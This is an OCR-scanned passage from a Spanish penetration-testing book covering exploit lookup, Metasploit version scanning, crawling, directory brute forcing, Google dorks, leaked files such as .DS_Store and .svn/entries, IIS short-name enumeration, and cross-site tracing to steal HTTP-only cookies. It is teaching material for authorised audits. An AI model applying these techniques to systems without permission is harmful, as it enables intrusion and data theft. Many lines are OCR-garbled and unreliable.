datos del interior, gracias a [ugas de informacion.

I:n el capitulo anterior se traté el tema de fingerpriniing. por lo que eh este apartado se evita volver
atratar lo mismo. La deteccion de servicios y versiones de productos que se encuentran a la escucha
en los puertos de los equipos es un paso importante, ya que una de las primeras cosas a realizar es
buscar si dichas versiones descubicrtas se encuentran actualizadas y sin vulnerabilidades conocidas.
A continuacién se presenta un listado de sitios web donde buscar exploirs para los resultados
obtenidos en esta identificacion:

- El primer sitio serfan los propios buscadores de [nternct, coma Google, Bing. Yahoo. En

muchas ocasiones el exploit podré ser encontrado mediante estas vias.

- El sitio web exploit-db.com, el cual ya se ha nombrado en este libro. Este sitio web

proporciona una clasificacion de exploits por categorias, indicando si el exploit es local.

remoto, causa la caida del servicio, elcetera.

- El sitio web securitvfocus.com, el cual proporciona una categoria muy grande de

plataformas sobre las que existen vulnerabilidades, y ademas indica si hay o no un exploit

disponible.

- El sitio web packetstormsecurity.conr, el cual es similar a los anteriores proporcienado

exploits por versiones de producto.

- Elsitio web /337day.com. el cual es similar a los anteriores, pero ademds hay exploirs de

pago. Este sitio aporta esta nueva vertiente de pago, con la que en muchas ocasiones se debe

contar para simular correctamente el punto de vista de un atacante.

- Poriiltimo, nombrara la deep web como fuente de bisqueda de este tipo de funcionalidades.
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Hay que tener en cuenta que en el hacking gtico se debe tener un control total de la situacién en todo
momento, ya que la infraestructura de la organ izacion que ha contratado los servicios no puede suftir
dafios reales. Por esta razon, no se deben lanzar exploits que no hayan sido verificados a conciencia
y se tenga un conocimiento total sobre lo que éste realiza. El porqué es sencillo, si el auditor no
sabe lo que estd ejecutando, la maquina destino de dicha accion puede suftir dafios, por ejemplo ser
“troyanizada”, por los que el equipo de auditoria deberia responder.

La herramienta Nmap permite realizar fingerprinting sobre las maquinas perimetrales de la
organizacion, pero para este tipo de acciones se pueden utilizar escaneres que. ademads, permitan
verificar las vulnerabilidades que pueden tener dichas maquinas. Herramientas como Nessus 0
Nexpose permiten llevar a cabo este tipo de acciones realizando un reporte de vulnerabilidades que
pueden tener los sistemas debido a versiones no actualizadas y que ponen en peligro la seguridad
del sistema.

Este tipo de escaner tiene un comportamiento que va més alla de un simple scan de vulnerabilidades.
Se pueden configurar para que utilizando credenciales proporcicnadas por la empresa pueda acceder
al interior del sistema, a través por ejemplo de SSH o SMB, y pueda realizar una mejor exploracion
en busca de vulnerabilidades, malas configuraciones, etcétera.

Por ultimo, indicar que estos escdneres presentar mformes o reportes interesantes con lo que
se ha conseguido, pero qué ademds pueden exportar sus resultados a formatos como XML para
posteriormente ser integrados con herramientas de explotacion. Esta caracteristica proporciona un
mayor grado de flexibilidad y automatizacion en el proceso de la auditoria. Aunque. nuevamenie, se
debe recordar que la automatizacion es algo necesaria por los tiempos del mercado, pero que debe
ser monitorizada y supervisada por un auditor con experiencia que pueda comprobar manualmente
los reportes que se obtienen.

PoC: Identificacién de vulnerabilidad explotable

En esta prueba de concepto sencilla y rapida se simula un escanco sobre un servicio S8/ en una
maquina Microsoft Windows. Con un moédulo auxiliary del framework de Metasploit se consigue
realizar un fingerprint y se obtiene la version.

En la siguiente imagen se puede visualizar como ol auditor obliene la siguiente cadena “SSH-2.0-
WeOnlyDeo 2.1.3". El nimero 2.0 indica que el protocola SSH es dicha version, pero “WeOnlyDo
2.1.3" puede no dar tantas pistas a priori.

auxiliary(smb_version] = use auxiliary/scanner/ssh/ssh_version
auxiliary(ssh_versinon) > set EHOSTS 10.6.0.2

HOSTS == 10.0.0.2

sf auxiliary(ssh _version) > run

[] 10.6,0.2:22, SSH server version: 8
i*] Scanned 1 of 1 hosts (100% complet
[*]1 Auxiliary module exscution complete
sf auxiliary(ssh version) =

SH-2.0-WelnlyDa 2.1.3
)
d

Fig. 3.01; Identificacion de versién.
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Tras recoger esta informacién se puede buscar en Google, con el fin de encontrar mayor informacion.
[l resultado que arroja el buscador indica la existencia de un exploif para la aplicacion FreeSSHd. la
cual es la que implementa “WeOnlyDo 2.1.3".

La verdad es que si se visualiza el sitio web de FreeSSHd se puede visualizar que la Gltima version,
a mediados del afio 2014, es la 1.2.6 y que el exploit afecta a todas las versiones, incluida ésta. ;Es
un 0-day? En su dia estéd claro que si. y aunque ahora es muy conocido sigue siéndolo, ya que L;I’lﬂ
organizacion que tenga dicha aplicacion instalada es vulnerable.

ssh-2.0 weonlydo 2.1.3 exploit

Web Imégenes Maps Shopping Méas ~ Herramientas de blisqueda

Aproximadaments 65 32 segundos)

FreeSSHD Remote Authentication Bypass Zeroday Exploit
www.exploit-dh.com/exploits/23... - Estados Unidos - Traducir esta pagina
02/12/2012 — FreeSSHD Remote Authentication Bypass Zeroday Exploit ... banner of
the most recent version is; SSH-2.0-WeOnlyDo 2.1.3 For your pleasure, ...

Freesshd Authenticaticn Bypass

www.exploit-db.com/exploits/24... - Estados Unidos - Traducir esta pagina
16/01/2013 — The exploit has been tested with both password and public key
authentication. ... disconnect if banner =~ /S5H-2.0-WeOnlyDo/ version=banner split{"
1] ... If version ==~ /(2.1.32.0.8) returmn Exploit::CheckCode::Appears end ...

Fig. 3.02: Descubrimicnto de exploir (-dea.

Analisis de informacion

En este apartado se exponen diferentes pruebas y écnicas para realizar un andlisis de informacion
y obtener un mayor nimero de recursos sobre los que realizar otras pruebas. Por ¢jemplo en este
apartado se tratardn técnicas como la fuerza bruta y el crawling con ¢l fin de ericontrar y analizar un
mayor numero de recursos. completando los ansiados mapas de informacion. Los punu.as de entrada
a servicios son enconirados en esta fase. El andlisis de metadatos y de codigo de aplicativos también
puede ser llevado a cabo en esta fase, por lo que se hablara mas delante de ello. Andlisis de cabecera,
deteccion de posibilidad de clickjacking, métodos HTTP, deteccion de malas configuraciones. /eaks
en la propia informacion, listados de dominios, virtual hosts, eteélera, puede ser 511a]izz1du en eska
fase de la auditoria. h

Crawling, bruteforce y otras técnicas

P"”f‘ qut‘.l' Ile'var. a cabo un andlisis de informacion sobre las aplicaciones v servicios web hay
glll:m ;l?il(l)zarulscgict:)as di _Crmv.!ing y fuerza bruta para _encontrar el mayor numero de activos 0
P info?maci{: en sel aud.l.tado.s. Algunas veces .B‘XISLBH otros elementos que pueden aportar

on y que deben ser analizados y tenidos en cuentas. En este apartado se pretende
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proporcionar una lista de técnicas y acciones a llevar a cabo para poder obtener la mayor informacion

para su posterior analisis.

e debe tener en cuenta y (ué seguro s utilizara con las
aplicaciones web que estén piiblicas y accesibles desde Internet. Es, ademas, una accion evidente, ya
que leer los codigos fuentes de los sitios web publicos y almacenar y seguir todos los enlaces o links
que se van encontrando parece una operacion logica. Con esta técnica se puede construir todo un
mapa del sitio web, aunque no todas las direcciones URL pueden quedar capturadas, ya que pueden

existir rutas no enlazadas en el sitio web.

El crawling es la primera técnica que §

por ejemplo Burp Suite con la que se puede
El modulo de spidering que proporciona la
chero con todas las rutas a archivos de

Existe multitud de herramientas para realizar crawling,
conectar la busqueda de U/RL con otras Lerramientas.
herramienta genera resultados aceptables devolviendo un fi

un sitio web.

purp intruder repeater window help
“comparer | options
spider

repeater | sequencer | decoder
| target proxy
| intercept " options | history

l Filter: hidinag CSS, image and general binary content

intruder

|

URL

il

% | host

= hltp:/—

4 hitp:fiwww.google-an
56  |hitpiwww.google.es

L

rallccmmenmﬂue&autm

add item to scope
remave item from scope

spider from here

n

5]

a
(I

send ta intruder

\
'_

sendto repeater

Fig.3.03: Crawling con Burp Suite.

Junto a esta téenica es muy util realizar fuerza bruta a directorios y archivos con el objetivo de
encontrar directorios que no han podido ser obtenidos mediante el uso del crawling. Una aplicacion
que se debe tener siempre a mano es DirBuster. la cual es una aplicacion multi hilo implementada
en Java, perteneciente a de clickjacking, métodos HTTF, deteccion de malas.

La herramienta DirBuster dispone de millones de peticiones, ya que tiene una gran base de datos con
rutas de una gran cantidad de aplicaciones web. De este modo. el auditor podra estar altamente seguro
de que se escanea un espectro de posibilidades y rutas de directorios y ficheros que le verifiquen que
no queda algo que sea accesible desde Internet y que no s¢ contemple. Logicamente, el |anzamiento
de esta herramienta no es un proceso dgil y tiene un coste de penalizacion. Ademas, la existencia
de elementos de seguridad que puedan banear la conexi6n, por lo que se debe monitorizar que [
direccion /P del auditor ha sido excluida de dichos elementos de seguridad.

Ceapitulo Il Confecciona ; oy =
D onfeccionando el atagque
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Fig. 3.04: Ejccueion de DipBusrer

Otra de las herramientas estrella para realizar este tipo de acciones es #Fuzz. Esta herramienta esta
S T " A 5 = & z s i 3 ' o
diseiada para vealizar hrureforeing a aplicaciones web y puede ser utilizada para encontrar recursos
m‘)‘enlazudos\ como por ejemplo directorios, serviets o seripts. realizar fuerza bruta de [)CliCiU;]U;
|('”':Ty| P‘( )STdcon parametros con distinias inyecciones y realizar fuerza bruta de pardmetros de
ormulario. Ademas, dicha herramienta permite realizar fizzi
s, hermite realizar fizzing, lo cual hace mé ¢
: Juzzing, ace mas c a le
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Existen mis vias’ Realmente existen multitud de vias mas para obtener informacion. Ademas. sc
LT IR , : . 8.
[ luulu decir que con las nuevas tecnologias cada dia surgen nucvas vias para obtener informacion de
elementos. activ irecciones U Ster: s i o
o s{qcm os, direcciones URL. etcétera, que pueden ayudar al auditor a conocer en profundidad
¢l perimetro. v en este caso la estructura web. de la organizacion.
. N y la fuerza bruta, se detalla :
i = e : 5 4 g, se detalla a
o Inuacion otras (écnicas que han ido surgiendo y que. en mayor o menor medida. proporciona
nformacion aanalizar s técnic ) fem - :
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b tras que otras dependeran de la existencia de un fichero. una mala configuracion o un
escuido del administrador del sitio o del servidor. .
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a vez explicadas las téenicas por excelencia como son el eranvling
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g am.i,voq ,Lflan c= pani! ng auditoria. Gracias a estas herramientas se pueden descubrir

e e )dy e ﬁE‘]T-M.]]'[()S-. que deben ser va](.)radc)s por el auditor. El erawling y la fuerza
s pueden ser complementados con busquedas a través de motores de busqueda.

El uso
A < dc GUU 71,’ ¥ - - . Pt .
Bing Crawlin rfs ¢ 0 Bing son escenarios logicos y muy atiles, incluso realizar Google Crawling o
millones 1 {f? para poder encontrar mas elementos de interés. Estos buscadores pueden indc‘kar
s de direcciones U :
cciones LURL que pueden estar en estas bases de dalos por medio de un enlace
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directo o link que se haya puesto en alguna otra pagina web o, simplemente, porque alguna barra del
navegador haya reportado dicha direccién URL. El auditor debe revisar los archivos indexados por
buscadores, ya que existen ciertos errores de configuracién que pueden haber sido utilizados para
indexar archivos, por lo que estaran en la base de datos del buscador.

Otras vias para conseguir mayor informacién son el fichero robots.ixt y sitemap.xml. El primero de
ellos guarda rutas a ficheros y directorios que los duefios del sitio no quieren que los robots de los
buscadores los indexen. De este modo esta técnica se complementa con el proceso de crawling de
un sitio web.

Es recomendable visualizar las rutas que alli se esconden, ya que en algunas ocasiones los resultados
pueden ser sorprendentes. Para acceder al fichero se debe acceder a http://sitio.com/robols.ixt.

El archivo sitemap.xml también recoge varios ficheros y contenidos de un sitio. Por lo general,
son direcciones URL publicas con informacion para tener una mejor indexacion por parte de los
buscadores. Es recomendable obtener estas direcciones URL e insertar en el motor de crawling, por

si dicho proceso no hubiera localizado lo que se alberga en dicho fichero.

Otra via es la utilizacién de servicios como Archive.org, ya que en muchas ocasiones cuando se
migra un sitio web, los archivos del sitio web anterior siguen estando en el propio servidor. ;Como
se puede acceder a estos ficheros? Teniendo las rutas o buscdndolas, por ello se puede utilizar
un servicio como el nombrado anteriormente el cual puede proporcionar una gran cantidad de
direcciones URL para buscar.

El proceso con Archive.org €s sencillo. En primer lugar se debe hacer crawling con las copias que
pueden ser rescatadas del servicio, analizar las direcciones URL que se obtiene y, por tltimo, generar
un fichero de diccionario que se pueda lanzar. por ejemplo con WFuzz.

Otra de las vias para encontrar elementos €s la denominada DNS Dictionary. Esta técnica se
realiza a los servidores DNS de la organizacion y consiste en lanzar fuerza bruta contra el servidor
preguntando por dominios que se concatenan con el dominio de la organizacion.

Por ejemplo, si el dominio es elevenpaths.com, se ejecuta un diccionario sobre dicho dominio
preguntando por todas las palabras del diccionario concatenadas con elevenpaths.com. Algunos
nombres comunes para encontrar nuevos dominios o subdominios son acdmin.eleveapaths.com,
mail.elevenpaths.com, correo.elevenpaths.com. etcetera.

PoC: Algunos trucos en Google

En este apartado se ha podido comprobar que los motores de busqueda pueden ayudar, y mucho, en
una auditoria web. En esta prueba de concepto se quiere mostrar algiin truco que puede ser utilizado
en Google.

Como ya se ha comentado en este libro, existe diversidad de Dorks con los que se puede conseguir
obtener informacién que algunas veces supera la ficcion. En este caso se van a tratar un par de trucos
que existen en el buscador.

Capitulo 1lI. Confeccionando el atague

En primer lugar se trata el truco de la barra. Con este pequefio, pero poderoso, truco se pueden
obtener sitios web que se encuentran en los puertos poco usuales para las organizaciones.

Por ejemplo, si se quiere encontrar un sitio que se encuentra en el puerto 9000 se puede conseguir
ficilmente con la siguiente construccion sire:/.es: 9000/ consiguiendo que se encuentren dominios
.es con un servidor en el puerto 9000.

Con este truco se puede realizar bisquedas de servicios como cdmaras IP, impresoras. proxies.
paneles de administracion, etcétera.

Para afinar un poco més se puede mejorar el truco de la barra cambiando el puerto especifico por un
interrogante.

El resultado seria el siguiente site:/.es:/?/ y se consiguen millones de resultados en el buscador
Google.

GO 816 site/ esi?/

Weh Imagenes

Apreximadamente 2420 000 resultades |

Fremgeicade Bredls

Prueba las Herramientas para webmasters de Google
wvay google.comAvebmasters!
;Eres gl webmaster de [.es:/?7 Consigue datos de indexacidn y ranking de Google

£l Imparcial: Diario liberal e independients
wny elimparcial es:6681/ =
El Imparcial. diario liberal & indapendiente presidido por Luis Warfz Anzon

Fig. 3.05: Obtencion de resultados con el truco de la barra.

En algunas ocasiones este tipo de buscadores pueden convertirse en armas. Cuando alguien lee que
::1 buscador puede ser un arma puede pensar que se tiende a exagerar, pero en algunas ocasiones

nogle puede .lomar dicho comportamiento, ya que se puede conseguir que el buscador se comporte
cn una herramienta de pentesting.

Se propone el siguiente caso practico: un atacante descubre una vulnerabilidad en un sitio web
L‘xpio-lab-le en una peticién mediante un pardametro por GET. Para evitar su localizacion. o hacerlo
mas complejo, el atacante pide a los buscadores, en este caso Google, la indexacién de una direccion
URL con ¢l exploit en el pardmetro GET.

Otra posibili : - o .
aposibilidad es que se indexe un sitio web cuyo codigo contiene enlaces o links a dichos exploits

ara que se eje i Isi .
fcal' que se ejecuten. Simplemente con la visita de un usuario, o del propio buscador cuando éste
Iza su trabajo, desencadenaria el ataque.
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Un ejemplo de este concepto se puede visualizar en la siguiente imagen. Se han hecho distintas
pruebas con direcciones URL maliciosas, de forma que Google indexa y almacena en su caché
resultados de ejecutar un SQL Injection.

Gougle -ONNNNNED-» | [soo]

Web [ Show options

Units - The complementary Page
jospeh almond. rudy patata karl asfghjle tina. 13 sandra sandra. marie tv. carla radio. peter

wheel gina_spgd. k1. qp
& cal

fcomvertar Ehei

Fig. 3.06: Resultados de SOLI cacheados en Google.
En otros buscadores esto también ocurre, y es algo que debe tenerse en cucnta. Logicamente. eslas
acciones no son nada éticas, por lo que en un proceso cemo el que se quiere llevar a cabo en una

organizacion no es nada recomendable, pero siempre esta bien conocer este tipo de acciones.

Fugas de informacién y malas configuraciones

Eneste apartado se especifican més técnicas para encontrarm ds informacion de utilidad para el auditor.
Ademds. esta informacion puede provocar fugas de informacion debido a malas configuraciones o
errores en la administracion del sitio.

Existen multitud de ficheros que pueden aportar informacion. A continuacion se presentan algunos
de los mas encontrados en auditorias:
- Ficheros .listing. Son creados por la herramienta wgel. y vienen siendo un /s —/u de la
carpela dénde se ha subido o donde se han descargado determinados ficheros. No tienen
porqué ser los que haya en dicho directario, gracias a esta pequena [uga se obtienen nuevas
direcciones [URL que deben ser probadas.
Unejemplo de fichero Jisting es hitp:#sitio.com/admin/ listing. Una forma rapida de detectar
archivos de este tipo en Google es. por ejemplo. utilizando la siguiente busqueda site:dominio.
cont inurl:listing.

« ¢~ et
440 GaE 413
z Fek 2 "
el Al gei A7 Tounka . db
4 wvan 48 oS8
4036 San 19 Images
—EWR-——T X inepgasey 2860 gal 22 index. otml

Fig. 3.07: Obtencion de ficheros a través de un Jfisfing.
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- Los directorios abiertos son otra fuente de informacion y nuevas rutas y ficheros a
explorar. Esta via complementa nuevamente a técnicas como el crawling,

Una de las principales caracteristicas de este tipo de errores de configuracion es que empieza
por “Index Of" y que permite que un usuario pueda recorrer carpetas sin necesidad de
conocerlas o que estén enlazadas a través del propio sitio. Se recomienda evitar este tipo de
configuraciones.

- Los ficheros .DS Store son generados por la aplicacion Finder de Mac OS X'y ha
demostrado ser una fuente de informacion para obtener tanto archivos como carpetas de un
directorio,

Cuando un administrador manipula carpetas del servidor desde su Mac OS X, el Finder copia
un fichero denominado .DS Store, el cual alberga informacién relativa al directorio que se
esta manejando.

Cuando el administrador sale, si no se ha tenido cuidade de borrar dicho archivo, éste
puede ser ptiblico situdndose en la ruta del servidor que estuviera siendo manipulada por el
administrador.

C ff [ www.edmon-dantes.riuffoto_new/.DS_Store T s =

Budl /pgllochlob @€ @@ @€
@/01 jpellocblob@ (@901 _s jpallochlobF(@ Q@902 jpellochlob P (@G ©
(999 9O 10_s ipellochlob P (D GGV 991 Lipellocblob 9 P9V VOO
HOVOVO€16_tmp622389101Tochlob

OO H9VO9V17.pellochlob RGPV VD17 5 pllocblob G VPV VGOV 17_
QOVOVOV17 _tmp516568529Tacblob

0727272722272 7383 jpgﬂocblﬂb“WI 8_s.jpellocblob

VOOV OOV15_mp3922787061ocblob

VGOV OV9 V19 pelocbloh VY VV G919 _s pallochlobj @Y VGV G20 jp
207:0Ilocblob @ PP SV 99@ EDSDB " 90E Y @@

@OV OOVOD14_mpl470152241Nochlobh PG QY PY 9 15.ipellocblob GH€)
YOOV OY16_unp622389101Iochlob

QOVVOV917 jpallochlobROPVP VYYD 17_s.pollocbloh P YO VGOV 17_
QOOOVOOY17_np516568529Tochlob

QO OOOODP138.ipellocblob VYV VY€ 18_s.ipgllochlod

QOO OOHO13_mp392278706Ilachlob SV VGG QS

Fig. 3.08: Busqueda de .DS Store por finternel,

- Los ficheros thumbs.db también almacenan nombres de archivos de los thumbnails
asociados a los archivos del sistema operativo Windows XP o Windows 2003.

Puede scr interesante tratar dicha informacion para conocer mas informacion sobre la ruta en
la que se encontrd dicho archive.

- Los ficheros deskiop.ini son archivos de configuracién de una carpeta, pero aungue
parezca extrafio pueden encontrarse en rutas publicas de un servidor.
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Fig. 3.09: Deskiop.ini pablico.

- Existen distintos repositorios de codigo los cuales van dejando un rastro de las acciones
que se van realizando. En estos repositorios suelen encontrarse ficheros que registran los
archivos subidos o actualizados por los desarrolladores.

Por ejemplo subversion o buildbot son auténticas fuentes de informacion. EI ejemplo mas
claro, y que la herramienta FOCA tiene en cuenta es el fichero .SVN/Entries. Otros repositorios
como Git tienen sus ficheros también interesantes para obtener informacion. Cada repositorio
de codigo debe ser analizado en busca de este tipo de archivos.

- Archivos de log de servidores FTP como Pure-FTPd o WS_FTP también ayuda a obtener
mas rutas y elementos a comprobar. Por ¢jemplo, si se busca en Google archivos del tipo
WS I'TPlog se pueden encontrar bastantes, lo que da una idea de todo lo que se puede
encontrar en las auditorias.

- Existen otras fugas de informacion proporcionadas por paginas por defecto de lecnologias
o algunos CAMS.

Por ejemplo la pagina PHP Info proporciona informacion al auditor sobre qué sistema esta
ejecutando la aplicacion web, qué modulos estan cargados, versiones de producto de PHP
y otras aplicaciones. Son paginas que deberian estar deshabilitadas por defecto. una vez la
aplicacién web se encuentra publicada en Internet. Ocurre lo mismo para Tomcat, o CMS
como Wordpress. el cual dispone por defecto de la direccion hitp:/idominio.com/readme.
html. Tste fichero muestra por defecto la version de Wordpress que se encuentra instalado,
por lo que el auditor podria buscar un exploit o fallos conocidos para dicha version.

- Los mensajes de error también pueden ayudar a conocer rutas internas u otras del sitio
web. Forzar la aparicion del error 404 en aplicaciones web siempre proporciona informacion.
Cabe destacar que, por ejemplo, en servidores /1S de Microsafi se puede encontrar el modo
debug habilitado hacia el exterior, lo cual proporciona gran cantidad de informacion sobre
el fallo. Coon este error se obtienen rutas internas, usuario, detalles de la aplicacidn, etcétera.
Provocar errores para observar el comportamiento es algo recomendable en las auditorias.

- Cuando el servidor es un Apache con el Mod Negotiation habilitado si se solicita un
fichero que no existe el servidor devuelve un listado de ficheros que se llaman igual que
el solicitado, pero con distintas extensiones. Esta via es perfecta para encontrar backups
de ficheros. Por ello, si se conocen ficheros que existen en el servidor puede ser realmente
atil pedirlos sin extension para que este modulo ofrezca los archivos que se encuentran
disponibles con dicho nombre.

Capitulo I1l. Confeccionando el atague m

Gracias a ficheros como PHP Info se puede saber si dicho médulo se encuentra habilitado en
el servidor. Otra técnica seria la prueba y error.

€« C f O www.nwsinoaa.gov/climate/I3mto.

Multiple Choices

The document name you requested (/climate/13mto.) could not be found on this server,

Axvailable documents:

o Jelimate/13mto.php (common bascname)
o /climate/I3mto.php.rmk (common basename)
o Jclimate/13mto bk.php (common basename)

Apache Server at www .weather gov Port 80

Fig. 3.10: Descubriendo archives con Mod Negotiation.

- Otra opcién para descubrir un mayor nimero de direcciones URL aprovechando que el
servidor Apache tiene habilitado el modulo Mod User Dir es la utilizacion de un diccionario
de usuarios. Con este diccionario se crean rutas del estilo Attp://dominio.com/~usuario. El
objetivo es verificar la existencia de dichos usuarios, logicamente puede que los usuarios
que se prueben scan conocidos gracias a metadatos de ficheros u otro proceso realizado
anteriormente.

Otra de las cosas que se deben comprobar es la posibilidad de detectar los ficheros Jogin,
hashre, profile, .bash_profile que pueden encontrarse piiblicos. Cualquier archivo que pueda
enconlrarse en la ruta a la que apunta $HOME.

- Cuando hay un servidor de Microsofi IIS se debe probar la posibilidad de probar a
enumerar los nombres con formato 8:3 de los archivos mediante el bug [15 Short Name.

- Una de las acciones que puede aportar mucha informacion. sobre todo cuando se realiza
la inferencia de dicha informacidn, es la deteccién de metadatos en ficheros plblicos de las
organizaciones. Cuando un dominio dispone de muchos documentas, lo que pueden aportar
los metadatos es realmente interesante. Se puede obtener gran cantidad de usuarios, soffwere,
e~-mails, sistemas operativos, rutas internas, impresoras. incluso geolocalizacion en el caso
de alguna imagen.

- Los archivos compilados también pueden proporcionar mas direcciones URL que auditar.
Los applets de Java o los archivos flash son fuente de informacion. Se podria incluso
localizar hasta el cddigo fuente en ciertos directorios, un ejemplo seria con la fuerza bruta
por diccionario a directorios.

La FOCA es capaz de sacar multitud de los fallos y errores enunciados en este apartado, por lo
F]u‘c ¢s recomendable que en esta parte de la auditoria el penrester la utilice para obtener mayor
informacion de lo que haria con un erawler'y una herramienta de fuerza bruta a directorios. Ademas.
s recomendable utilizar una herramienta que automatice el proceso, ya que existe multitud de
ficheros y modos que probar.
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Los virtual fosts también deben ser observados v analizados en esta fase del pentest. Pueden aportar
informacion extra, o incluso una via de accesoa una mayor cantidad de informacion. En condiciones
de malas configuraciones puede, incluso, proporcionar cierto aceeso a informacion méas sensible.

PoC: 118 Short Name
En esta prueba de concepto s€ ejemplifica una vulnerabilidad que puede aportar informacion para

completar el mapa de activos de una organizacion. Esta orientada a la parte web, ya que es un bug
que servidores JIS han tenido. La esencia de la vulnerabilidad radica en el sistema de nombres
acortados que atn permite el sistema de ficheros de Microsoft Windows.

1 Qué es el sistema de nombres acortados? La herencia de los §:3 caracteres en el nombre de ficheros
en los sistemas Windows hace que sea posible poder acceder a un fichero utilizando este método. En
otras palabras, a un sistema de archivos se puede acceder con el nombre acortado y con el nombre
extendido. Esta caracteristica esta disponible en Windows, pero no en los servidores /1S, por lo que
tanto si el fichero se encuentra como si no, se genera un error al solicitarlo.

El servidor /IS cuando se solicita un nombre acortado intenta acceder al mismo y si lo encuentra
proporciona un error 404. lo cual no deberia suceder. Cuando el fichero si se encuentra se continla
iento de la direccion URL y si se construye una direceion {/R[. de manera

¢jecutando el procesaml
maliciosa se consigue un error 400 Bad Reguest. Enlonces s¢ disponen de dos valores bhooleanos
cie de ataque Blind para descubrir el nombre

para ir jugando con ellos, y es posible hacer una espe
de los ficheros. Logicamente, solo se puede hacer en algunas versiones de 7IS v NET en la que no

se ha filtrado el cardcter “*".
En esta prueba de concepto se proporeiona informacion sobre ejemplos que daran resultados segin

se van realizando sobre un servidor /IS en versiones 5. 6.0 7. A continuacion se muestra las pruebas
que se deben realizar y los resultados que se pueden obtener, tanto si existe el fichero como si no.

11S Version Result/Error Message

HTTP 400“- Bad R;.ﬁuest“

1S 7.x .Net.2

No Error Handling

jIS7.x .Net.2 Page contains:

No Error Handling “Error Code 0x80070002”

Fig. 3.11: Vias para explotar la vulnerabilidad de IS ShortNaine.
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Fig. 3.12: Exito con el hug de 1S ShortNeme.
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Localizacion de puntos de entrada

Tras realiz
s realizar pruebas )
: as s e 5 .
clementos de ]Ifl e comeo las especificadas anteriormente para conocer el maximo nimero d
b H nizac 3 . *T e
también de““"ﬁn:}dgs faugn, se debe localizar los puntos de entrada. Cuantos mas puntos de entrada
o . o z = =
Por ello, es una by ogin entiy, se conozecan mas probabilidades de realizar ataques contra ¢ll .
» €5 Una buena recomendacion iti bR
colocar estos siti ; o i ;
sitios para gestiones administrativas de manera

Sl l sOn B i 1
ncu“ﬂu I 08 l'(JP’IH O ara la a ) aa cac (o] pﬂ es = can <
p 1 1 Lll][lz C10 de pl] CACION W b y Q a :U 10N 10gl mei no

s¢
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Los paneles de administracion deben ser dificiles de encontrar y no estar indexados en buscadores
ni encontrarse excluidos en el fichero robofs.tyt, porque seria facilmente localizable. No es
recomendable que las direcciones URL donde se alojan sean intuitivas, ya que si 1a direccion URL
es hripi//dominio.com/admin.

Hay que tener en cuenta y valorar si los login estan protegidos por conexiones seguras bajo el
protocolo HTTPS. Si se detecta que estos login se realizan sin cifrar la comunicacion se debe tener
en cuenta, ya que la recomendacion es que exista una capa SSL para fortificar la seguridad del
usuario o administrador.

Meétodos HTTP

Ya durante el capitulo anterior se tratd por encima ¢l problema de los métodos inseguros configurados
en los servidores web como ejemplo de una prueba de concepto. Desde el punto de vista de la
administracion de sistemas y los equipos de seguridad, se entiende que hay que tenerlos en todo
momento presentes y en cuenta, por lo que hay que verificar cugles son los métodos que estan
permitidos y cuales son los que estan implementados.

Con cualquier fallo de configuracion de un sistema, en muchas ocasiones desde el punto de vista de
un auditor, o del lector de un informe de resultados de un proceso de auditoria, puede parecer que
no proporcionardn ninguna via importante que lleva a buen término un proyecto de pentesting, pero
esta claro que en otras ocasiones si, y por €so, con un enfoque de algoritmo voraz, deben tenerse muy
en cuenta en las pruebas seguridad.

Como ya se ha dicho. os métodos HTTP en un servidor web pueden estar habilitados o implementados,
pero hay una diferencia grande entre esas dos situaciones que s trataa continuacion. Para comprobar
qué métodos puede implementar el servidor web es necesario realizar una conexion HTTP mediante
ol método OPTIONS. En este proceso el servidor puede notificar una gran variedad de métodos
disponibles, donde puede llamar poderosamente la atencion que se informe que el método PUT,
DELETE, COPY o MOVE se encuentran disponibles.

Esta notificacion puede suponer un gran agujero de seguridad en el servidor, ya que si realmente el
método PUT se encuenira habilitado, es decir, se estan procesando y ejecutando las peticiones que
lleguen por PUT, se podra subir archivos al servidor web, con el consiguiente riesgo de que alguien
suba una shell al servidor.

Es muy comin ver que se devuelven algunos métodos no tan llamativos como los mencionados
anteriormente, por ejemplo el método TRACE. Pero lo que se ha comentado anteriormente
es importante, puede que OPTIONS proporcione ciertos métodos, pero hay que comprobar que
realmente se encuentran implementados y que funcionan. No vale de mucho que se diga que PUT
estd implementado, si al realizar la prueba no se consigue el objetivo.

En el caso del método TRACE, disponerle puede ayudar a realizar un hijacking de cookies HITH
only si existiese un XSS que ayudase en el proceso. Es un caso complejo, pero que podria darse.

Capitulo I1l. Confeccionando el atagque

request

TRACE / HTTR/1.0

Host! Wiy, ecS-nsommmems

E“L[lil . —_ 7 0 matches

response
headers  hex |
HTTF/1.1 Z0OO ©R

Date: Wed, 09 Nov 2011 20:39:14 GUT

Server: Apache/Z.2.3 1Red Hat) DAV/Z tod JjkFIL.Z2.E27
FrontPage/5.0,2,2635 PHR/5.1,6 mod ss51/8.2.3 OpensSLi0, 2 8k
Connection: close - ‘
Contenc-Type: message/hitp

TERACE / HTTE/1.0

Host! wyw, s

EEE

Fig. 3.13: Cjemplo del método TRACE.

0 matches

/Qué significa el flag HTTP-only dentro de una cookie? Este flag permite que la cookie no sea
accesible por codigo de seripi, por lo que solo se enviara en conexiones [/TTP. ;Qué hace el métc.ﬂo
TRACE? Este método lo tnico que realiza es devolver ¢l cddigo 200 ante una peticion cﬁ la .quc se
copia lo que se le ha enviado por el método TRACE. ;Como se puede saltar la medida de proteccion
de cookie HTTP-only?

l-.llzlulorrt‘jel ataque fue Jeremiah Grossman y propuso que si un servidor web tiene habilitado el
método TRACE, cuando reciba una peticion de TRACE en la respuestia que genera, dicho servidor

?';;,(ollz_l‘v;‘fldra un codigo de respuesta HTTP 200 y en el cuerpo de la respuesta la misma cabecera

1\I~1orz|. 51 ef{istiese una vulnerabilidad de tipo XSS en una aplicacion web que se ejecute en ese
mismo servidor web, se puede generar desde el XSS una peticion con el método TRACE invocando
un componente que pueda lanzar peticions TRACE - los navegadores lo tienen prohibido -para poder
robar la cookie aunque estuviese marcada con el flag H TTP—;I?]\’. o

La idea es sencilla, el navegador no va a permitir acceder por medio de cédigo seripr a la cookie
PL:FlO .C'Lla:jfita se realiza la peticion HTTP sera el mismo quién afiada la coo?cie de la sesion a le;
[?LllClOl]. (lcmlo la peticién es un método TRACE. la respuesta generada incluye una cookie, pero no
como tal sino como parte del cuerpo del mensaje y podra leerse el valor de dicha cookie. ﬂ

eams b s
Il]::}?(l);ﬂ(;n;;tfe(il L]Slsl??(]d\f];tmﬂla. debe caer cn f:l XSS, el cu’al generara una peticion H7TP con el
ey ha,c.i;f E]uzi esde eéta nuevgt‘pehcmn la que hard que se replique la cookie en el cuerpo
